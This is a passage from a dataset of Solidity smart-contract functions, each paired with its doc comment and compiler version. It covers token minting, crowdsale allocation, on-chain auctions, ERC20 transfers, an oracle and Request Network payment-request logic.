initialSupply, hex\"\");\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Creates an ERC1155 token, optionally setting a fixed price (erc20) for minting the ERC1155\r\n * @dev Can also be used to premint the full supply of an ERC1155 to the contract owner\r\n */", "function_code": "function createWithFixedPrice(\r\n uint256 tokenId,\r\n uint256 initialSupply,\r\n uint256 maxSupply,\r\n uint256 mintPrice,\r\n address mintPriceTokenAddress,\r\n string memory uri\r\n ) external onlyOwner {\r\n if (initialSupply < maxSupply) {\r\n require(mintPrice > 0, \"Invalid Mint Price\");\r\n }\r\n\r\n tokenMintPrices[tokenId] = PublicMintData({\r\n erc20Address: mintPriceTokenAddress,\r\n mintPrice: mintPrice,\r\n enabled: true\r\n });\r\n tokenURIs[tokenId] = uri;\r\n\r\n // Create ERC1155 token with specified supplies\r\n _create(tokenId, initialSupply, maxSupply);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Mints a single ERC1155 to msg.sender\r\n */", "function_code": "function publicMint(uint256 tokenId) external {\r\n // Get the address & price for minting via ERC20\r\n PublicMintData storage publicMintData = tokenMintPrices[tokenId];\r\n require(publicMintData.enabled, \"Public Minting Not Enabled\");\r\n\r\n if (publicMintData.mintPrice > 0) {\r\n // Receive ERC20 mintPrice amount\r\n IERC20(publicMintData.erc20Address).safeTransferFrom(msg.sender, address(this), publicMintData.mintPrice);\r\n }\r\n\r\n // Mint ERC1155\r\n _mint(msg.sender, tokenId, 1, hex\"\");\r\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Generate uri\n */", "function_code": "function _generateURI(uint256 tokenId) private view returns(string memory) {\n bytes memory byteString;\n for (uint i = 0; i < _uriParts.length; i++) {\n if (_checkTag(_uriParts[i], _EDITION_TAG)) {\n byteString = abi.encodePacked(byteString, (100-_mintNumbers[tokenId]).toString());\n } else {\n byteString = abi.encodePacked(byteString, _uriParts[i]);\n }\n }\n return string(byteString);\n }", "version": "0.8.4"} {"comment": "/**\r\n * Preallocate tokens for the early investors.\r\n *\r\n * Preallocated tokens have been sold before the actual crowdsale opens.\r\n * This function mints the tokens and moves the crowdsale needle.\r\n *\r\n * Investor count is not handled; it is assumed this goes for multiple investors\r\n * and the token distribution happens outside the smart contract flow.\r\n *\r\n * No money is exchanged, as the crowdsale team already have received the payment.\r\n *\r\n * @param fullTokens tokens as full tokens - decimal places added internally\r\n * @param weiPrice Price of a single full token in wei\r\n *\r\n */", "function_code": "function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {\r\n\r\n uint tokenAmount = fullTokens * 10**token.decimals();\r\n uint weiAmount = weiPrice * fullTokens; // This can be also 0, we give out tokens for free\r\n\r\n weiRaised = weiRaised.plus(weiAmount);\r\n tokensSold = tokensSold.plus(tokenAmount);\r\n\r\n investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);\r\n tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);\r\n\r\n assignTokens(receiver, tokenAmount);\r\n\r\n // Tell us invest was success\r\n Invested(receiver, weiAmount, tokenAmount, 0);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Allow anonymous contributions to this crowdsale.\r\n */", "function_code": "function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {\r\n bytes32 hash = sha256(addr);\r\n if (ecrecover(hash, v, r, s) != signerAddress) throw;\r\n if(customerId == 0) throw; // UUIDv4 sanity check\r\n investInternal(addr, customerId);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Create an auction at a particular location\n/// @param _x The x coordinate of the auction\n/// @param _y The y coordinate of the auction", "function_code": "function createAuction(uint _x, uint _y) public notPaused\r\n {\r\n // Require that there is not an auction already started at\r\n // the location\r\n require(0 == auctions[_x][_y].startTime);\r\n\r\n // Require that there is no blind auction at that location\r\n require(!KingOfEthAuctionsAbstractInterface(blindAuctionsContract).existingAuction(_x, _y));\r\n\r\n KingOfEthBoard _board = KingOfEthBoard(boardContract);\r\n\r\n // Require that there is at least one available auction remaining\r\n require(0 < _board.auctionsRemaining());\r\n\r\n // Require that the auction is within the current bounds of the board\r\n require(_board.boundX1() < _x);\r\n require(_board.boundY1() < _y);\r\n require(_board.boundX2() > _x);\r\n require(_board.boundY2() > _y);\r\n\r\n // Require that nobody currently owns the house\r\n require(0x0 == KingOfEthHousesAbstractInterface(housesContract).ownerOf(_x, _y));\r\n\r\n // Use up an available auction\r\n _board.auctionsDecrementAuctionsRemaining();\r\n\r\n auctions[_x][_y].startTime = now;\r\n\r\n emit OpenAuctionStarted(_x, _y, msg.sender, now);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Make a bid on an auction. The amount bid is the amount sent\n/// with the transaction.\n/// @param _x The x coordinate of the auction\n/// @param _y The y coordinate of the auction", "function_code": "function placeBid(uint _x, uint _y) public payable notPaused\r\n {\r\n // Lookup the auction\r\n Auction storage _auction = auctions[_x][_y];\r\n\r\n // Require that the auction actually exists\r\n require(0 != _auction.startTime);\r\n\r\n // Require that it is still during the bid span\r\n require(_auction.startTime + bidSpan > now);\r\n\r\n // If the new bid is larger than the current winning bid\r\n if(_auction.winningBid < msg.value)\r\n {\r\n // Temporarily save the old winning values\r\n uint _oldWinningBid = _auction.winningBid;\r\n address _oldWinner = _auction.winner;\r\n\r\n // Store the new winner\r\n _auction.winningBid = msg.value;\r\n _auction.winner = msg.sender;\r\n\r\n // Send the loser back their ETH\r\n if(0 < _oldWinningBid) {\r\n _oldWinner.transfer(_oldWinningBid);\r\n }\r\n }\r\n else\r\n {\r\n // Return the sender their ETH\r\n msg.sender.transfer(msg.value);\r\n }\r\n\r\n emit OpenBidPlaced(_x, _y, msg.sender, msg.value);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Close an auction and distribute the bid amount as taxes\n/// @param _x The x coordinate of the auction\n/// @param _y The y coordinate of the auction", "function_code": "function closeAuction(uint _x, uint _y) public notPaused\r\n {\r\n // Lookup the auction\r\n Auction storage _auction = auctions[_x][_y];\r\n\r\n // Require that the auction actually exists\r\n require(0 != _auction.startTime);\r\n\r\n // If nobody won the auction\r\n if(0x0 == _auction.winner)\r\n {\r\n // Mark that there is no current auction for this location\r\n _auction.startTime = 0;\r\n\r\n // Allow another auction to be created\r\n KingOfEthBoard(boardContract).auctionsIncrementAuctionsRemaining();\r\n }\r\n // If a player won the auction\r\n else\r\n {\r\n // Set the auction's winner as the owner of the house.\r\n // Note that this will fail if there is already an owner so we\r\n // don't need to mark the auction as closed with some extra\r\n // variable.\r\n KingOfEthHousesAbstractInterface(housesContract).auctionsSetOwner(\r\n _x\r\n , _y\r\n , _auction.winner\r\n );\r\n\r\n // Pay the taxes\r\n KingOfEthAbstractInterface(kingOfEthContract).payTaxes.value(_auction.winningBid)();\r\n }\r\n\r\n emit OpenAuctionClosed(_x, _y, _auction.winner, _auction.winningBid);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. \r\n * @dev The function SHOULD throw if the _from account balance does not have enough tokens to spend.\r\n *\r\n * @dev A token contract which creates new tokens SHOULD trigger a Transfer event with the _from address set to 0x0 when tokens are created.\r\n *\r\n * Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.\r\n *\r\n * @param _to The receiver of the tokens.\r\n * @param _value The amount of tokens to send.\r\n * @return True on success, false otherwise.\r\n */", "function_code": "function transfer(address _to, uint256 _value)\r\n public\r\n returns (bool success) {\r\n if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {\r\n balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);\r\n balances[_to] = SafeMath.add(balances[_to], _value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers _value amount of tokens from address _from to address _to, and MUST fire the Transfer event.\r\n *\r\n * @dev The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf. \r\n * @dev This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in \r\n * @dev sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of \r\n * @dev the message via some mechanism.\r\n *\r\n * Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.\r\n *\r\n * @param _from The sender of the tokens.\r\n * @param _to The receiver of the tokens.\r\n * @param _value The amount of tokens to send.\r\n * @return True on success, false otherwise.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value)\r\n public\r\n returns (bool success) {\r\n if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {\r\n balances[_to] = SafeMath.add(balances[_to], _value);\r\n balances[_from] = SafeMath.sub(balances[_from], _value);\r\n allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Overridden method to check for end of fundraising before allowing transfer of tokens", "function_code": "function transfer(address _to, uint256 _value)\r\n public\r\n isTransferable // Only allow token transfer after the fundraising has ended\r\n returns (bool success)\r\n {\r\n bool result = super.transfer(_to, _value);\r\n if (result) {\r\n trackHolder(_to); // track the owner for later payouts\r\n }\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "// Perform an atomic swap between two token contracts ", "function_code": "function relocate()\r\n external \r\n {\r\n // Check if relocation was activated\r\n require (relocationActive == true);\r\n \r\n // Define new token contract is\r\n RelocationToken newSTT = RelocationToken(newTokenContractAddress);\r\n\r\n // Burn the old balance\r\n uint256 balance = balances[msg.sender];\r\n balances[msg.sender] = 0;\r\n\r\n // Perform the relocation of balances to new contract\r\n require(newSTT.recieveRelocation(msg.sender, balance));\r\n }", "version": "0.4.24"} {"comment": "/// @dev delivers STT tokens from Leondra (Leondrino Exchange Germany)", "function_code": "function deliverTokens(address _buyer, uint256 _amount)\r\n external\r\n onlyVendor\r\n {\r\n require(_amount >= TOKEN_MIN);\r\n\r\n uint256 checkedSupply = SafeMath.add(totalSupply, _amount);\r\n require(checkedSupply <= TOKEN_CREATION_CAP);\r\n\r\n // Adjust the balance\r\n uint256 oldBalance = balances[_buyer];\r\n balances[_buyer] = SafeMath.add(oldBalance, _amount);\r\n totalSupply = checkedSupply;\r\n\r\n trackHolder(_buyer);\r\n\r\n // Log the creation of these tokens\r\n emit LogDeliverSTT(_buyer, _amount);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Creates new STT tokens", "function_code": "function deliverTokensBatch(address[] _buyer, uint256[] _amount)\r\n external\r\n onlyVendor\r\n {\r\n require(_buyer.length == _amount.length);\r\n\r\n for (uint8 i = 0 ; i < _buyer.length; i++) {\r\n require(_amount[i] >= TOKEN_MIN);\r\n require(_buyer[i] != 0x0);\r\n\r\n uint256 checkedSupply = SafeMath.add(totalSupply, _amount[i]);\r\n require(checkedSupply <= TOKEN_CREATION_CAP);\r\n\r\n // Adjust the balance\r\n uint256 oldBalance = balances[_buyer[i]];\r\n balances[_buyer[i]] = SafeMath.add(oldBalance, _amount[i]);\r\n totalSupply = checkedSupply;\r\n\r\n trackHolder(_buyer[i]);\r\n\r\n // Log the creation of these tokens\r\n emit LogDeliverSTT(_buyer[i], _amount[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Payables\r\n */", "function_code": "function mint(address _to, uint256 _count) public payable saleIsOpen {\r\n if (msg.sender != owner()) {\r\n require(isActive, \"Sale is not active currently.\");\r\n }\r\n\r\n require(\r\n totalSupply() + _count <= MAX_MINTSUPPLY,\r\n \"Total supply exceeded.\"\r\n );\r\n require(totalSupply() <= MAX_MINTSUPPLY, \"Total supply spent.\");\r\n require(\r\n _count <= maximumAllowedTokensPerPurchase,\r\n \"Exceeds maximum allowed tokens\"\r\n );\r\n require(msg.value >= basePrice * _count, \"Insuffient ETH amount sent.\");\r\n\r\n for (uint256 i = 0; i < _count; i++) {\r\n _safeMint(_to, totalSupply());\r\n }\r\n\r\n distributeRewards(_count);\r\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Mint new tokens\n * @param dst The address of the destination account\n * @param rawAmount The number of tokens to be minted\n */", "function_code": "function mint(address dst, uint rawAmount) external {\n require(msg.sender == minter, \"Pool::mint: only the minter can mint\");\n require(block.timestamp >= mintingAllowedAfter, \"Pool::mint: minting not allowed yet\");\n require(dst != address(0), \"Pool::mint: cannot transfer to the zero address\");\n\n // record the mint\n mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);\n\n // mint the amount\n uint96 amount = safe96(rawAmount, \"Pool::mint: amount exceeds 96 bits\");\n require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), \"Pool::mint: exceeded mint cap\");\n totalSupply = safe96(SafeMath.add(totalSupply, amount), \"Pool::mint: totalSupply exceeds 96 bits\");\n\n // transfer the amount to the recipient\n balances[dst] = add96(balances[dst], amount, \"Pool::mint: transfer amount overflows\");\n emit Transfer(address(0), dst, amount);\n\n // move delegates\n _moveDelegates(address(0), delegates[dst], amount);\n }", "version": "0.5.16"} {"comment": "// return dynamic pricing", "function_code": "function getRate() constant returns (uint256) {\r\n uint256 bonus = 0;\r\n if (now < (startTime + 1 weeks)) {\r\n bonus = 300;\r\n } else if (now < (startTime + 2 weeks)) {\r\n bonus = 200;\r\n } else if (now < (startTime + 3 weeks)) {\r\n bonus = 100;\r\n }\r\n return BASE_RATE.add(bonus);\r\n }", "version": "0.4.13"} {"comment": "// do final token distribution", "function_code": "function finalize() onlyOwner() {\r\n if (isFinalized) revert();\r\n\r\n //if we are under the cap and not hit the duration then throw\r\n if (weiRaised < WEI_RAISED_CAP && now <= startTime + DURATION) revert();\r\n\r\n uint256 finalSupply = getFinalSupply();\r\n\r\n grantTokensByShare(ANGELS_ADDRESS, ANGELS_SHARE, finalSupply);\r\n grantTokensByShare(CORE_1_ADDRESS, CORE_1_SHARE, finalSupply);\r\n grantTokensByShare(CORE_2_ADDRESS, CORE_2_SHARE, finalSupply);\r\n\r\n grantTokensByShare(PARTNERSHIP_ADDRESS, PARTNERSHIP_SHARE, finalSupply);\r\n grantTokensByShare(REWARDS_ADDRESS, REWARDS_SHARE, finalSupply);\r\n grantTokensByShare(AFFILIATE_ADDRESS, AFFILIATE_SHARE, finalSupply);\r\n \r\n isFinalized = true;\r\n }", "version": "0.4.13"} {"comment": "/**\n * @notice Retrieve the value of the amount at the latest oracle price.\n */", "function_code": "function _peek(bytes6 base, bytes6 quote, uint256 amountBase)\n private view\n returns (uint256 amountQuote, uint256 updateTime)\n {\n Source memory source = sources[base][quote];\n require(source.pool != address(0), \"Source not found\");\n int24 twapTick = OracleLibrary.consult(source.pool, source.twapInterval);\n amountQuote = OracleLibrary.getQuoteAtTick(\n twapTick,\n amountBase.u128(),\n source.baseToken,\n source.quoteToken\n );\n updateTime = block.timestamp - source.twapInterval;\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Set or reset an oracle source, its inverse and twapInterval\n */", "function_code": "function _setSource(bytes6 base, bytes6 quote, address pool, uint32 twapInterval) internal {\n sources[base][quote] = Source(\n pool,\n IUniswapV3PoolImmutables(pool).token0(),\n IUniswapV3PoolImmutables(pool).token1(),\n twapInterval \n );\n sources[quote][base] = Source(\n pool,\n IUniswapV3PoolImmutables(pool).token1(),\n IUniswapV3PoolImmutables(pool).token0(),\n twapInterval \n );\n emit SourceSet(base, quote, pool, twapInterval);\n emit SourceSet(quote, base, pool, twapInterval);\n }", "version": "0.8.6"} {"comment": "// NOTE: Some common logic with _distributeTax", "function_code": "function _distributeAuctionTax(uint256 tax, address referrer) private {\r\n _distributeLandholderTax(_totalLandholderTax(tax));\r\n\r\n // NOTE: Because no notion of 'current jackpot', everything added to next pot\r\n uint256 totalJackpotTax = _jackpotTax(tax).add(_nextPotTax(tax));\r\n nextJackpot = nextJackpot.add(totalJackpotTax);\r\n\r\n // NOTE: referrer tax comes out of dev team tax\r\n bool hasReferrer = referrer != address(0);\r\n _sendToTeam(_teamTax(tax, hasReferrer));\r\n asyncSend(referrer, _referrerTax(tax, hasReferrer));\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * @dev Function used by currency contracts to create a request in the Core\r\n *\r\n * @dev _payees and _expectedAmounts must have the same size\r\n *\r\n * @param _creator Request creator. The creator is the one who initiated the request (create or sign) and not necessarily the one who broadcasted it\r\n * @param _payees array of payees address (the index 0 will be the payee the others are subPayees). Size must be smaller than 256.\r\n * @param _expectedAmounts array of Expected amount to be received by each payees. Must be in same order than the payees. Size must be smaller than 256.\r\n * @param _payer Entity expected to pay\r\n * @param _data data of the request\r\n * @return Returns the id of the request\r\n */", "function_code": "function createRequest(\r\n address _creator,\r\n address[] _payees,\r\n int256[] _expectedAmounts,\r\n address _payer,\r\n string _data)\r\n external\r\n whenNotPaused \r\n returns (bytes32 requestId) \r\n {\r\n // creator must not be null\r\n require(_creator!=0); // not as modifier to lighten the stack\r\n // call must come from a trusted contract\r\n require(isTrustedContract(msg.sender)); // not as modifier to lighten the stack\r\n\r\n // Generate the requestId\r\n requestId = generateRequestId();\r\n\r\n address mainPayee;\r\n int256 mainExpectedAmount;\r\n // extract the main payee if filled\r\n if(_payees.length!=0) {\r\n mainPayee = _payees[0];\r\n mainExpectedAmount = _expectedAmounts[0];\r\n }\r\n\r\n // Store the new request\r\n requests[requestId] = Request(_payer, msg.sender, State.Created, Payee(mainPayee, mainExpectedAmount, 0));\r\n\r\n // Declare the new request\r\n Created(requestId, mainPayee, _payer, _creator, _data);\r\n \r\n // Store and declare the sub payees (needed in internal function to avoid \"stack too deep\")\r\n initSubPayees(requestId, _payees, _expectedAmounts);\r\n\r\n return requestId;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Function used to update the balance\r\n * @dev callable only by the currency contract of the request\r\n * @param _requestId Request id\r\n * @param _payeeIndex index of the payee (0 = main payee)\r\n * @param _deltaAmount modifier amount\r\n */", "function_code": "function updateBalance(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)\r\n external\r\n { \r\n Request storage r = requests[_requestId];\r\n require(r.currencyContract==msg.sender);\r\n\r\n if( _payeeIndex == 0 ) {\r\n // modify the main payee\r\n r.payee.balance = r.payee.balance.add(_deltaAmount);\r\n } else {\r\n // modify the sub payee\r\n Payee storage sp = subPayees[_requestId][_payeeIndex-1];\r\n sp.balance = sp.balance.add(_deltaAmount);\r\n }\r\n UpdateBalance(_requestId, _payeeIndex, _deltaAmount);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Function update the expectedAmount adding additional or subtract\r\n * @dev callable only by the currency contract of the request\r\n * @param _requestId Request id\r\n * @param _payeeIndex index of the payee (0 = main payee)\r\n * @param _deltaAmount modifier amount\r\n */", "function_code": "function updateExpectedAmount(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)\r\n external\r\n { \r\n Request storage r = requests[_requestId];\r\n require(r.currencyContract==msg.sender); \r\n\r\n if( _payeeIndex == 0 ) {\r\n // modify the main payee\r\n r.payee.expectedAmount = r.payee.expectedAmount.add(_deltaAmount); \r\n } else {\r\n // modify the sub payee\r\n Payee storage sp = subPayees[_requestId][_payeeIndex-1];\r\n sp.expectedAmount = sp.expectedAmount.add(_deltaAmount);\r\n }\r\n UpdateExpectedAmount(_requestId, _payeeIndex, _deltaAmount);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Internal: Init payees for a request (needed to avoid 'stack too deep' in createRequest())\r\n * @param _requestId Request id\r\n * @param _payees array of payees address\r\n * @param _expectedAmounts array of payees initial expected amounts\r\n */", "function_code": "function initSubPayees(bytes32 _requestId, address[] _payees, int256[] _expectedAmounts)\r\n internal\r\n {\r\n require(_payees.length == _expectedAmounts.length);\r\n \r\n for (uint8 i = 1; i < _payees.length; i = i.add(1))\r\n {\r\n // payees address cannot be 0x0\r\n require(_payees[i] != 0);\r\n subPayees[_requestId][i-1] = Payee(_payees[i], _expectedAmounts[i], 0);\r\n NewSubPayee(_requestId, _payees[i]);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev check if all the payees balances are null\r\n * @param _requestId Request id\r\n * @return true if all the payees balances are equals to 0\r\n */", "function_code": "function areAllBalanceNull(bytes32 _requestId)\r\n public\r\n constant\r\n returns(bool isNull)\r\n {\r\n isNull = requests[_requestId].payee.balance == 0;\r\n\r\n for (uint8 i = 0; isNull && subPayees[_requestId][i].addr != address(0); i = i.add(1))\r\n {\r\n isNull = subPayees[_requestId][i].balance == 0;\r\n }\r\n\r\n return isNull;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Get address of a payee\r\n * @param _requestId Request id\r\n * @return payee index (0 = main payee) or -1 if not address not found\r\n */", "function_code": "function getPayeeIndex(bytes32 _requestId, address _address)\r\n public\r\n constant\r\n returns(int16)\r\n {\r\n // return 0 if main payee\r\n if(requests[_requestId].payee.addr == _address) return 0;\r\n\r\n for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1))\r\n {\r\n if(subPayees[_requestId][i].addr == _address) {\r\n // if found return subPayee index + 1 (0 is main payee)\r\n return i+1;\r\n }\r\n }\r\n return -1;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev getter of a request\r\n * @param _requestId Request id\r\n * @return request as a tuple : (address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance)\r\n */", "function_code": "function getRequest(bytes32 _requestId) \r\n external\r\n constant\r\n returns(address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance)\r\n {\r\n Request storage r = requests[_requestId];\r\n return ( r.payer, \r\n r.currencyContract, \r\n r.state, \r\n r.payee.addr, \r\n r.payee.expectedAmount, \r\n r.payee.balance );\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev extract a string from a bytes. Extracts a sub-part from tha bytes and convert it to string\r\n * @param data bytes from where the string will be extracted\r\n * @param size string size to extract\r\n * @param _offset position of the first byte of the string in bytes\r\n * @return string\r\n */", "function_code": "function extractString(bytes data, uint8 size, uint _offset) \r\n internal \r\n pure \r\n returns (string) \r\n {\r\n bytes memory bytesString = new bytes(size);\r\n for (uint j = 0; j < size; j++) {\r\n bytesString[j] = data[_offset+j];\r\n }\r\n return string(bytesString);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev compute the fees\r\n * @param _expectedAmount amount expected for the request\r\n * @return the expected amount of fees in wei\r\n */", "function_code": "function collectEstimation(int256 _expectedAmount)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n if(_expectedAmount<0) return 0;\r\n\r\n uint256 computedCollect = uint256(_expectedAmount).mul(rateFeesNumerator);\r\n\r\n if(rateFeesDenominator != 0) {\r\n computedCollect = computedCollect.div(rateFeesDenominator);\r\n }\r\n\r\n return computedCollect < maxFees ? computedCollect : maxFees;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Function to create a request as payee\r\n *\r\n * @dev msg.sender must be the main payee\r\n *\r\n * @param _payeesIdAddress array of payees address (the index 0 will be the payee - must be msg.sender - the others are subPayees)\r\n * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes (bitcoin address don't have a fixed size)\r\n * [\r\n * uint8(payee1_bitcoin_address_size)\r\n * string(payee1_bitcoin_address)\r\n * uint8(payee2_bitcoin_address_size)\r\n * string(payee2_bitcoin_address)\r\n * ...\r\n * ]\r\n * @param _expectedAmounts array of Expected amount to be received by each payees\r\n * @param _payer Entity expected to pay\r\n * @param _payerRefundAddress payer bitcoin addresses for refund as bytes (bitcoin address don't have a fixed size)\r\n * [\r\n * uint8(payee1_refund_bitcoin_address_size)\r\n * string(payee1_refund_bitcoin_address)\r\n * uint8(payee2_refund_bitcoin_address_size)\r\n * string(payee2_refund_bitcoin_address)\r\n * ...\r\n * ]\r\n * @param _data Hash linking to additional data on the Request stored on IPFS\r\n *\r\n * @return Returns the id of the request\r\n */", "function_code": "function createRequestAsPayeeAction(\r\n address[] _payeesIdAddress,\r\n bytes _payeesPaymentAddress,\r\n int256[] _expectedAmounts,\r\n address _payer,\r\n bytes _payerRefundAddress,\r\n string _data)\r\n external\r\n payable\r\n whenNotPaused\r\n returns(bytes32 requestId)\r\n {\r\n require(msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0);\r\n\r\n int256 totalExpectedAmounts;\r\n (requestId, totalExpectedAmounts) = createCoreRequestInternal(_payer, _payeesIdAddress, _expectedAmounts, _data);\r\n \r\n // compute and send fees\r\n uint256 fees = collectEstimation(totalExpectedAmounts);\r\n require(fees == msg.value && collectForREQBurning(fees));\r\n \r\n extractAndStoreBitcoinAddresses(requestId, _payeesIdAddress.length, _payeesPaymentAddress, _payerRefundAddress);\r\n \r\n return requestId;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Internal function to extract and store bitcoin addresses from bytes\r\n *\r\n * @param _requestId id of the request\r\n * @param _payeesCount number of payees\r\n * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes\r\n * [\r\n * uint8(payee1_bitcoin_address_size)\r\n * string(payee1_bitcoin_address)\r\n * uint8(payee2_bitcoin_address_size)\r\n * string(payee2_bitcoin_address)\r\n * ...\r\n * ]\r\n * @param _payerRefundAddress payer bitcoin addresses for refund as bytes\r\n * [\r\n * uint8(payee1_refund_bitcoin_address_size)\r\n * string(payee1_refund_bitcoin_address)\r\n * uint8(payee2_refund_bitcoin_address_size)\r\n * string(payee2_refund_bitcoin_address)\r\n * ...\r\n * ]\r\n */", "function_code": "function extractAndStoreBitcoinAddresses(\r\n bytes32 _requestId,\r\n uint256 _payeesCount,\r\n bytes _payeesPaymentAddress,\r\n bytes _payerRefundAddress) \r\n internal\r\n {\r\n // set payment addresses for payees\r\n uint256 cursor = 0;\r\n uint8 sizeCurrentBitcoinAddress;\r\n uint8 j;\r\n for (j = 0; j < _payeesCount; j = j.add(1)) {\r\n // get the size of the current bitcoin address\r\n sizeCurrentBitcoinAddress = uint8(_payeesPaymentAddress[cursor]);\r\n\r\n // extract and store the current bitcoin address\r\n payeesPaymentAddress[_requestId][j] = extractString(_payeesPaymentAddress, sizeCurrentBitcoinAddress, ++cursor);\r\n\r\n // move the cursor to the next bicoin address\r\n cursor += sizeCurrentBitcoinAddress;\r\n }\r\n\r\n // set payment address for payer\r\n cursor = 0;\r\n for (j = 0; j < _payeesCount; j = j.add(1)) {\r\n // get the size of the current bitcoin address\r\n sizeCurrentBitcoinAddress = uint8(_payerRefundAddress[cursor]);\r\n\r\n // extract and store the current bitcoin address\r\n payerRefundAddress[_requestId][j] = extractString(_payerRefundAddress, sizeCurrentBitcoinAddress, ++cursor);\r\n\r\n // move the cursor to the next bicoin address\r\n cursor += sizeCurrentBitcoinAddress;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Function to broadcast and accept an offchain signed request (the broadcaster can also pays and makes additionals )\r\n *\r\n * @dev msg.sender will be the _payer\r\n * @dev only the _payer can additionals\r\n *\r\n * @param _requestData nested bytes containing : creator, payer, payees|expectedAmounts, data\r\n * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes\r\n * [\r\n * uint8(payee1_bitcoin_address_size)\r\n * string(payee1_bitcoin_address)\r\n * uint8(payee2_bitcoin_address_size)\r\n * string(payee2_bitcoin_address)\r\n * ...\r\n * ]\r\n * @param _payerRefundAddress payer bitcoin addresses for refund as bytes\r\n * [\r\n * uint8(payee1_refund_bitcoin_address_size)\r\n * string(payee1_refund_bitcoin_address)\r\n * uint8(payee2_refund_bitcoin_address_size)\r\n * string(payee2_refund_bitcoin_address)\r\n * ...\r\n * ]\r\n * @param _additionals array to increase the ExpectedAmount for payees\r\n * @param _expirationDate timestamp after that the signed request cannot be broadcasted\r\n * @param _signature ECDSA signature in bytes\r\n *\r\n * @return Returns the id of the request\r\n */", "function_code": "function broadcastSignedRequestAsPayerAction(\r\n bytes _requestData, // gather data to avoid \"stack too deep\"\r\n bytes _payeesPaymentAddress,\r\n bytes _payerRefundAddress,\r\n uint256[] _additionals,\r\n uint256 _expirationDate,\r\n bytes _signature)\r\n external\r\n payable\r\n whenNotPaused\r\n returns(bytes32 requestId)\r\n {\r\n // check expiration date\r\n require(_expirationDate >= block.timestamp);\r\n\r\n // check the signature\r\n require(checkRequestSignature(_requestData, _payeesPaymentAddress, _expirationDate, _signature));\r\n\r\n return createAcceptAndAdditionalsFromBytes(_requestData, _payeesPaymentAddress, _payerRefundAddress, _additionals);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Check the validity of a signed request & the expiration date\r\n * @param _data bytes containing all the data packed :\r\n address(creator)\r\n address(payer)\r\n uint8(number_of_payees)\r\n [\r\n address(main_payee_address)\r\n int256(main_payee_expected_amount)\r\n address(second_payee_address)\r\n int256(second_payee_expected_amount)\r\n ...\r\n ]\r\n uint8(data_string_size)\r\n size(data)\r\n * @param _payeesPaymentAddress array of payees payment addresses (the index 0 will be the payee the others are subPayees)\r\n * @param _expirationDate timestamp after that the signed request cannot be broadcasted\r\n * @param _signature ECDSA signature containing v, r and s as bytes\r\n *\r\n * @return Validity of order signature.\r\n */", "function_code": "function checkRequestSignature(\r\n bytes _requestData,\r\n bytes _payeesPaymentAddress,\r\n uint256 _expirationDate,\r\n bytes _signature)\r\n public\r\n view\r\n returns (bool)\r\n {\r\n bytes32 hash = getRequestHash(_requestData, _payeesPaymentAddress, _expirationDate);\r\n\r\n // extract \"v, r, s\" from the signature\r\n uint8 v = uint8(_signature[64]);\r\n v = v < 27 ? v.add(27) : v;\r\n bytes32 r = extractBytes32(_signature, 0);\r\n bytes32 s = extractBytes32(_signature, 